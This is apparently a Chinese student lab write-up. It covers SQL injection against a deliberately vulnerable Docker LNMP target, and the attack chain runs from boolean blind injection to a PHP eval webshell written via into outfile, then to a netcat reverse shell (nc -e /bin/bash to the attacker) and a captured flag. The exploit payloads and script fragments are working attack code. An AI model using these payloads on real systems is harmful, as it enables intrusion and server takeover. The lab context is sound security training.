基于LNMP框架,通过GET方式提交参数id
靶机源码:./target
渗透程序源码:./poc/sqli-getshell.py
靶机编译方式:
cd ./target
docker-compose up -d
sudo chmod 777 www -R
# 给 www 写权限,便于后续webshell写入

WAF,union select正常执行,可以联合查询注入WRONG,无法进行报错注入,可以布尔盲注load_file("/etc/passwd")可执行,into outfile('/tmp/tmp')可执行,有机会写入WEBSHELLversion()命令,查询到MySQL的版本较低,植入的WEBSHELL可能具有644及以上的权限,外部用户可读./mysql/init/privileges.sql:授予所有用户file权限

./mysql/my.cnf:关闭MySql文件读写控制

./php/Dockerfile:php容器中安装了netcat,可以执行nc命令反弹shell

./docker-compose.yml:php与mysql容器同时映射了/var/www/html,可以直接将WEBSHELL写入站点根目录;同时,MySQL版本为5,导出的WEBSHELL外部用户可读,即php解释器可解释

源码:./poc/sqli-getshell.py
整个攻击脚本使用Python3编写,主要利用requests库与服务器交互
由于涉及os.system('nc xxx')等命令,脚本需要在Linux环境下运行
核心payload:and拼接注入的命令,利用ascii()与substr()等函数逐字符猜测,循环测试得到所需信息
?id=1 and ascii(substr(database(),{index},{index}))<{x}--+
核心payload:通过union select,将一句话木马写入后端服务器
?id=2988 union select 1,2, \"<?php eval(@$_POST['xiabee']);?>\" into outfile '/var/www/html/{}'
木马随机命名,避免重复执行时因文件名冲突而异常终止:
filename = rand_str(6)+'.php'
核心payload:打开nc监听,等待受害者机器上线
os.system('nc -nvlp {port}'.format(xport))
核心payload:由上述代码可知,变量$xiabee可以实现任意命令执行,这里通过python的requests发送php的system()命令,实现nc,连接攻击者主机:
payload = "system(\'nc -v {ip_of_attacker} {port} -e /bin/bash\');"
data = {'xiabee': payload}
r = requests.post(url = new_url, data = data)
由于需要本地开启nc,会导致进程阻塞,无法发送payload,故通过os.fork()开启子进程,通过两个进程分别执行nc和send payload
需要确保nc开启后再发送payload,故在send payload进程中sleep一段时间
pid = os.fork()
if pid != 0:
os.system('nc -nvlp {}'.format(xport))
else:
time.sleep(8)
# sleep until nc process already started
data = {'xiabee': payload}
r = requests.post(url = new_url, data = data)
保留并输出部分布尔盲注过程,减少程序停顿时间,便于攻击者观察程序是否正在运行
添加[+][-]等标记,便于观察程序CLI输出

security库,包含user, flag等表单,获得核心表单flag表的flag字段:FLAG{W2LC0M2_T@_THE_CTF_W021D!}
WEBSHELL并解析,反弹shell成功
WEBSHELL命令执行成功,拿下容器控制权:
SQL注入原理比较简单,仅通过布尔盲注和联合查询进行各项操作,但环境的搭建远比我想象的复杂的多…最开始直接运行去年编写的LNMP环境,发现libssl库更新,导致php容器无法运行…最后被迫在Dockerfile中写入手动安装旧版本libssl的命令WEBSHELL写入无回显,重复执行导致命名冲突;nc阻塞进程,导致payload无法发送等…后面联想到操作系统课程中学到的进程通信等知识,意识到可以通过创建子进程来处理阻塞的问题;而随机化文件名是迫不得已,虽然巧妙的避开的重名的风险,但是每次执行都产生新的WEBSHELL,实战中会增加被受害者发现的可能性,实验中也增加了删除废弃WEBSHELL的工作量…getshell创造了可能getshell创造了可能Mysql服务开启任意文件读写后需及时关闭,否则极大增加攻击面